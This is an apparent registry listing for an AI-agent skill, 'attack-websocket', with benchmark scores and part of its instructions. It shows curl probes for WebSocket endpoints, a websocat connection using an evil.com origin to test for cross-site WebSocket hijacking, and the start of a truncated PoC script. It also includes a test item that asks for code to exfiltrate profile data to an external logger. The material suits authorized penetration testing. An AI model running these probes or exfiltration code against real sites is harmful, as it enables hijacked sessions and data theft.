Install any skill in seconds. Free to start, no credit card required.
Get Started Free →cyberstrikeus/attack-websocket
WebSocket security testing — CSWSH, message injection, auth bypass, origin validation
Passed 17 of 24 test cases with the skill, and 15 of 24 without it.
2 fixed15 passed either way7 still failing0 broke
Tokens, turns and time describe resource use, not a dollar price.
One of 2 test cases the skill fixed. Same model, same prompt, with and without the skill.
Provide a client-side JavaScript snippet that opens a connection to wss://target.local/ws, requests profile information, and exfiltrates the response to an external logger.
| Checked | Without skill | With skill |
|---|---|---|
| Instantiates the browser WebSocket client. | Passed | Passed |
| Uses the btoa function to encode exfiltrated payload data. | Missed | Passed |
The instructions your model reads when the skill loads.
Exploit WebSocket implementation flaws including cross-site WebSocket hijacking (CSWSH), message injection, and authentication bypass.
# Look for WebSocket upgrade
curl -s -D- https://TARGET/ -H "Upgrade: websocket" -H "Connection: Upgrade"
# Check common paths
for path in /ws /socket /websocket /api/ws /chat /live /realtime; do
curl -s -D- "https://TARGET$path" \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" 2>/dev/null | head -1
done
Check if Origin header is validated:
# Connect with evil origin
websocat -H "Origin: https://evil.com" "wss://TARGET/ws"
# If connection succeeds with evil.com origin → CSWSH is possible
PoC HTML:
<script>
var ws = new WebSocket('wss://TARGET/ws');
ws.onmessage = function(e) {
test cases passed, vs 15 / 24 without
Published skills whose descriptions closely match this one, with their headline benchmark lift.
More skills from the same source and nearby in the registry, with their headline benchmark lift.